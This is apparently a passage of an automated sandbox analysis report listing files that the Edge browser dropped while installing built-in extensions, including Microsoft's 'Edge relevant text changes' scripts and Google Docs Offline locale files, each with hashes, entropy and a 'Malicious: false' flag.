C:\Users\user\AppData\Local\Temp\scoped_dir5508_543417869\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5508_543417869\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\8f6f72bf-a9ec-40b3-a3f7-3f8656d3cb2a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
